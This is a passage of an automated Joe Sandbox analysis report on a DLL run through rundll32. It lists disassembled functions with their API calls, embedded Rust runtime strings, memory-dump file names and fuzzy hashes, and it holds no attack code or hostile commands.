Part of subcall function 6CB8885A: memmove.VCRUNTIME140(?,?,?,?,?,?,6CB8C2F6,?,?,6CBD460C,?,6CBD463F), ref: 6CB88883

Part of subcall function 6CBE6438: memmove.VCRUNTIME140(?,?,?,?,6CBD5878,?,?,?,?,6CBD55AB), ref: 6CBE64C5

Strings

assertion failed: pos <= self.dec_in.get_ref().len() as u64, xrefs: 6CBB063E

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove$DecryptMessagememset
String ID: assertion failed: pos <= self.dec_in.get_ref().len() as u64
API String ID: 522839164-2093299206
Opcode ID: 340b110976178622a33546d05753072048ba7d4cc164eb4d8d979b6d8a0b5d3e
Instruction ID: 835561341fd7caaeb261a505b00bb322543f460fdc754140744096372865feb9
Opcode Fuzzy Hash: 340b110976178622a33546d05753072048ba7d4cc164eb4d8d979b6d8a0b5d3e
Instruction Fuzzy Hash: 00918F706087819FD704CF25D5807AAF7E1FF88318F108A2DE59997750DB75A898CB82

Function 6CB9653C Relevance: 3.5, APIs: 2, Instructions: 529COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB96856

Part of subcall function 6CBEFDD0: QueryPerformanceCounter.KERNEL32 ref: 6CBEFE15
Part of subcall function 6CBEFDD0: QueryPerformanceFrequency.KERNEL32 ref: 6CBEFE5C
Part of subcall function 6CBEFDD0: __aulldiv.LIBCMT ref: 6CBEFE97
Part of subcall function 6CBEFDD0: __aulldiv.LIBCMT ref: 6CBEFEF2
Part of subcall function 6CBEFDD0: __aulldiv.LIBCMT ref: 6CBEFF07

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: __aulldiv$PerformanceQuery$CounterFrequency
String ID:
API String ID: 2403592835-0
Opcode ID: e26e4369e8f6aa481f17d170623347661f4d7e57bcff3c55c12f0e16bacdbae2
Instruction ID: dea84d839e270f43f195af39a130e290baefc612abb7db2e71604c3eb663a620
Opcode Fuzzy Hash: e26e4369e8f6aa481f17d170623347661f4d7e57bcff3c55c12f0e16bacdbae2
Instruction Fuzzy Hash: FF127C716083419FC744CF28C890A5AB7E1FFCA358F19896DE889DB761E731E945CB82

Function 6CBE1060 Relevance: 3.4, APIs: 1, Strings: 1, Instructions: 370COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000200), ref: 6CBE107E

Strings

punycode{-0, xrefs: 6CBE1167

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memset
String ID: punycode{-0
API String ID: 2221118986-3751456247
Opcode ID: 82fc0ead2f22d984517de182c04bb2cc8d13507f300b3f9a7e60c15e08a90b26
Instruction ID: 5bbca0e0c22a6f80ea4965006eabe4ff934d7b7c75e8d25b031f9d708b663073
Opcode Fuzzy Hash: 82fc0ead2f22d984517de182c04bb2cc8d13507f300b3f9a7e60c15e08a90b26
Instruction Fuzzy Hash: D6D11471E012598BDF04CF98D8907EDB7B2FF4C754F284229D825B7B82D73499458B92

Function 6CBA6291 Relevance: 3.2, Strings: 2, Instructions: 674COMMON

Download Yara Rule

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 6CBA6C9D, 6CBA6CDD
Map must not be polled after it returned `Poll::Ready`, xrefs: 6CBA6C71

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID:
String ID: Map must not be polled after it returned `Poll::Ready`$called `Result::unwrap()` on an `Err` value
API String ID: 0-3366255769
Opcode ID: 17d76d6538aee237da6c91682284be872992142afe5b517bfbfa0294dcd15393
Instruction ID: 931ead3d9dd30406344b24a64ca0488e6c0b7b348d5dc9fc3683085a2629c7b1
Opcode Fuzzy Hash: 17d76d6538aee237da6c91682284be872992142afe5b517bfbfa0294dcd15393
Instruction Fuzzy Hash: 4B625A75908B818FC725CF28C49069EF7E1FFC9314F108A5EE8999B751DB70998ACB42

Function 6CB93EDC Relevance: 3.1, APIs: 2, Instructions: 59filenativeCOMMON

Download Yara Rule

APIs

NtCancelIoFileEx.NTDLL ref: 6CB93F0D
RtlNtStatusToDosError.NTDLL ref: 6CB93F30

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: CancelErrorFileStatus
String ID:
API String ID: 1267829034-0
Opcode ID: b8bd3b162ad3a5a6f58d92fe854e11975bc4604ee9efb0a14434cf84873f34b3
Instruction ID: 96171cbe5285b40c6a51108567dd45bf0126434ff05abc51d8b7a2065077c0e4
Opcode Fuzzy Hash: b8bd3b162ad3a5a6f58d92fe854e11975bc4604ee9efb0a14434cf84873f34b3
Instruction Fuzzy Hash: 7E2195B18047429FE7148F14D408756FBF4FF42319F29C9AEE0498B652D3B5D596CB81

Function 6CC02C95 Relevance: 2.8, APIs: 2, Instructions: 320COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,?), ref: 6CC02D3B
memset.VCRUNTIME140(?,000000FF,-00000010), ref: 6CC02F10

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmovememset
String ID:
API String ID: 1288253900-0
Opcode ID: 6021036e1a4dfc73d29996f1fc3f7cdac40dfb2a5fb1e292b67468fd2b54005a
Instruction ID: 05e9f02a7dba3f8042f9bb4e898bcca861948ca8c8f9fbaa65fe60e76f942506
Opcode Fuzzy Hash: 6021036e1a4dfc73d29996f1fc3f7cdac40dfb2a5fb1e292b67468fd2b54005a
Instruction Fuzzy Hash: 0BC1CF75A087428BC715CF2CC89046AF7E5FFC9314F148A5EE8A997351EB31E946CB82

Function 6CC0524A Relevance: 2.8, APIs: 2, Instructions: 313COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,?), ref: 6CC052F8
memset.VCRUNTIME140(?,000000FF,?), ref: 6CC0535F

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmovememset
String ID:
API String ID: 1288253900-0
Opcode ID: f95da6042d10bdbba110a59a877380b2891d261cac466cdba3a2d0b5687d81b3
Instruction ID: 2e65279d5edbec0d4a7b3e7416e73567e7075a9c10dc1d0afae66446d659cd91
Opcode Fuzzy Hash: f95da6042d10bdbba110a59a877380b2891d261cac466cdba3a2d0b5687d81b3
Instruction Fuzzy Hash: FBB1CF716087428BD708CF2CC89046AFBE2BFC9314F148B2EE4A597791EB71E845CB81

Function 6CC02893 Relevance: 2.8, APIs: 2, Instructions: 304COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,?), ref: 6CC02947
memset.VCRUNTIME140(000000FF,000000FF,-00000010), ref: 6CC029D0

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmovememset
String ID:
API String ID: 1288253900-0
Opcode ID: dfa38bdefa6a9e5221755c083f72b3dbbb900b248ac5560f9f593509eab4fc16
Instruction ID: 3dab210c8cc7ae622284785d98e84d611cdbf3e9c510c694688997f2248ef894
Opcode Fuzzy Hash: dfa38bdefa6a9e5221755c083f72b3dbbb900b248ac5560f9f593509eab4fc16
Instruction Fuzzy Hash: 4CB1BE716087418BD715CF2CC49052EFBE2FFC9614F248A2DE89997751EB31E945CB82

Function 6CC05070 Relevance: 2.5, APIs: 2, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,00000000,?,6CBF012C,?,6CB65AAF,?,00000004,6CB6E4B2,?,6CBE682F,?,?,?,?,6CBE65EB), ref: 6CC05079
HeapAlloc.KERNEL32(00000000,00000000,?,?,6CBF012C,?,6CB65AAF,?,00000004,6CB6E4B2,?,6CBE682F,?,?,?,?), ref: 6CC0508B

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: d02c5a8685175c8c5068484ce8fceefc931a6acc1a46f6203c045cf2dd01d3a4
Instruction ID: 079a18b018ad8eab14d21fefdf0b355ae277afcb2831641e0174108a81e841da
Opcode Fuzzy Hash: d02c5a8685175c8c5068484ce8fceefc931a6acc1a46f6203c045cf2dd01d3a4
Instruction Fuzzy Hash: 23D0A772705610679B145ABB5C0CC577FBCDAC3765301443AF80AC3101EA63C842C6F0

Function 6CBC3F75 Relevance: 1.8, Strings: 1, Instructions: 576COMMON

Download Yara Rule

Strings

keep-aliveHTTP/1.1 100 Continueinternal error: entered unreachable code: poll_read_body invalid state: , xrefs: 6CBC4048

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID:
String ID: keep-aliveHTTP/1.1 100 Continueinternal error: entered unreachable code: poll_read_body invalid state:
API String ID: 0-2895536077
Opcode ID: 9eddbd211b665ebf2502fb38118cf22564f6fca7fe55a2f438e33313dbb6334d
Instruction ID: b997d7335d59e13817042126dd96830721f32659e7ee0ed81d93a71dc808465d
Opcode Fuzzy Hash: 9eddbd211b665ebf2502fb38118cf22564f6fca7fe55a2f438e33313dbb6334d
Instruction Fuzzy Hash: E2429D716087818FD714CF24C0907AABBE1FF89328F148A5DE8999B752D774D949CF82

Function 6CB90B40 Relevance: 1.8, APIs: 1, Instructions: 512COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,00000094), ref: 6CB90CE7

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: 30b5b60c5d69101ab9feecf41586b4daf5279fa7af51b4b999ff282a13700c18
Instruction ID: 2ab39af2a8c181cd33f4e85ebe49040fc36c60d8c96e1e2228a2c5ded9be5930
Opcode Fuzzy Hash: 30b5b60c5d69101ab9feecf41586b4daf5279fa7af51b4b999ff282a13700c18
Instruction Fuzzy Hash: 81323771A087828FC324CF24D19079AF7E2FFCA354F148A2DE49997B51D770A885DB82

Function 6CC018D7 Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 6CC018ED

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 90c36272c8d5e78b40e1ee058246566db5ca05eef9712212bef7883225d79d8a
Instruction ID: 640b7503b7e1019a9a8221b0c5dfe66a9509c8a3ae16e999ede6ec6c3e83ed07
Opcode Fuzzy Hash: 90c36272c8d5e78b40e1ee058246566db5ca05eef9712212bef7883225d79d8a
Instruction Fuzzy Hash: 1FA17AB2B056058FDF08CF5BC5A57AABBB1FB49318F24822AD455E7290E7399841CF50

Function 6CB6CAD0 Relevance: 1.7, APIs: 1, Instructions: 463COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,00000000), ref: 6CB6CC39

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 305c5cb12b871730cf05d4b8cf5539a763f81222795a237834c3c9962a3307e1
Instruction ID: 96eb0866fa8c218da219763f45b864fbda51dba4c88dba693eb66cc8ccf93818
Opcode Fuzzy Hash: 305c5cb12b871730cf05d4b8cf5539a763f81222795a237834c3c9962a3307e1
Instruction Fuzzy Hash: 23F1F571F042598FDF05DE7AC4902AEB7B2AFDA304F29832AE855B7B41D7719D418780

Function 6CBB8A77 Relevance: 1.7, Strings: 1, Instructions: 448COMMON

Download Yara Rule

Strings

http://, xrefs: 6CBB8CCF

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID:
String ID: http://
API String ID: 0-1121587658
Opcode ID: 757ea5eb15b796e3087ef3d91bb6332c973ebb2fb026475c0a66a7e95b140703
Instruction ID: ad99f5ac90bf578bab30d92076eda6f8959cdfa30867c22d1179520fa03c3f7d
Opcode Fuzzy Hash: 757ea5eb15b796e3087ef3d91bb6332c973ebb2fb026475c0a66a7e95b140703
Instruction Fuzzy Hash: FF125874608B858FD354CF29C09066AFBF1BF89344F108A2EE8D99B750EB75D949CB42

Function 6CBDE8E0 Relevance: 1.7, APIs: 1, Instructions: 168windowCOMMON

Download Yara Rule

APIs

EncryptMessage.SECUR32(?,00000000,?,00000000), ref: 6CBDEA73

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: EncryptMessage
String ID:
API String ID: 801064719-0
Opcode ID: 0a021c70a0a0c4784874684172b7b658867441a2acc10ac1a4257986681fbbef
Instruction ID: 17df451c9267c9b84d10b67d6b5845f5547f80ac7572f748a3290240a464a3c9
Opcode Fuzzy Hash: 0a021c70a0a0c4784874684172b7b658867441a2acc10ac1a4257986681fbbef
Instruction Fuzzy Hash: 796135B16087819FD350CF29C880B9BF7E1FB88314F51892DE5AA87740E774B848CB96

Function 6CBD961E Relevance: 1.7, APIs: 1, Instructions: 168windowCOMMON

Download Yara Rule

APIs

EncryptMessage.SECUR32(?,00000000,?,00000000), ref: 6CBD978A

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: EncryptMessage
String ID:
API String ID: 801064719-0
Opcode ID: 2a659ff17509d942ab9f5e39a7c95f26b67000fb8e86d60ddc4782f5325bec0e
Instruction ID: d14a6c3c579972140637d8e16dc2d4d03ea6518ef98ddcd91c6d5a3c25a716b4
Opcode Fuzzy Hash: 2a659ff17509d942ab9f5e39a7c95f26b67000fb8e86d60ddc4782f5325bec0e
Instruction Fuzzy Hash: C16144B1A087849FD314CF29C490B5BB7E1FF88319F11892DE59A87B40EB75E808CB46

Function 6CBEBD70 Relevance: 1.6, Strings: 1, Instructions: 390COMMON

Download Yara Rule

Strings

UNC\, xrefs: 6CBEC0EA

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID:
String ID: UNC\
API String ID: 0-505053535
Opcode ID: 8dfdef37107d9d1cd55f10e8fd12c630e345375276254e9c444ba04fe3b45e40
Instruction ID: 9ddeb29ce8d55c52f09430e82247f10e17ec96e7419e15c77f3b8d33f5019acb
Opcode Fuzzy Hash: 8dfdef37107d9d1cd55f10e8fd12c630e345375276254e9c444ba04fe3b45e40
Instruction Fuzzy Hash: 49E139B1D043D58FEB048F99C4947AEBFF1EF8E798F198159C4602BA92C37449458F92

Function 6CBE41F0 Relevance: 1.5, Strings: 1, Instructions: 266COMMON

Download Yara Rule

Strings

{invalid syntax}{recursion limit reached}?'for<> ::{closureshim# as mut const ; dyn + unsafe extern ", xrefs: 6CBE44E7

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID:
String ID: {invalid syntax}{recursion limit reached}?'for<> ::{closureshim# as mut const ; dyn + unsafe extern "
API String ID: 0-1066123878
Opcode ID: e4ba4a17bb10806350ec8c94dcd89555384173fc4101efd36e1646c66ab3cafe
Instruction ID: 96a566e296e6dc258e2093e27b23054f806f9814077f589211ccd46ee764c843
Opcode Fuzzy Hash: e4ba4a17bb10806350ec8c94dcd89555384173fc4101efd36e1646c66ab3cafe
Instruction Fuzzy Hash: FF9117B1B042914BDB04CED8D8907AB73B1EF4AB58F294579C819ABB46D731DC05CF92

Function 6CB6F61C Relevance: .8, Instructions: 813COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: baf9570f18b29e803c91c55dff5b9b96505d74276d0a5eb1e76b2d342877304c
Instruction ID: 92f3f73855153aa9a5484dc001544c4a5370ed8f3b1cf916feb24b223167f825
Opcode Fuzzy Hash: baf9570f18b29e803c91c55dff5b9b96505d74276d0a5eb1e76b2d342877304c
Instruction Fuzzy Hash: 94520871648391CFD7348F19C4A0399B7E1EB92314F188A5DDCA95BB82D238D986C7B3

Function 6CB666D9 Relevance: .6, Instructions: 632COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07e1ef9d36f911a21069bae75fa860402adc37bada1614ef720d641aeb206fb7
Instruction ID: 19c396b13560f38ff35e2d2c4192eea6352c5fa0201695b3d4b257fd45c96740
Opcode Fuzzy Hash: 07e1ef9d36f911a21069bae75fa860402adc37bada1614ef720d641aeb206fb7
Instruction Fuzzy Hash: CA2248303497C05EC7194A28D8A16AABB91CB99308F18C55EF9C4CFF47E971AC8AD352

Function 6CBB28F9 Relevance: .5, Instructions: 482COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memcmpmemmovememset
String ID:
API String ID: 3819852886-0
Opcode ID: eae31a6b55e9a6745027f90dd41053281fda09fc9dd3ed29e1fd84c92714a1b3
Instruction ID: 63cd778b8bf723b5501b39cbc3802cb9278711c4e5b5eed67b6f867598da02c1
Opcode Fuzzy Hash: eae31a6b55e9a6745027f90dd41053281fda09fc9dd3ed29e1fd84c92714a1b3
Instruction Fuzzy Hash: 54123B756087818FC724CF24C4906AFB7E2BFC9354F14891EE999AB750DB70E949CB82

Function 6CB68430 Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
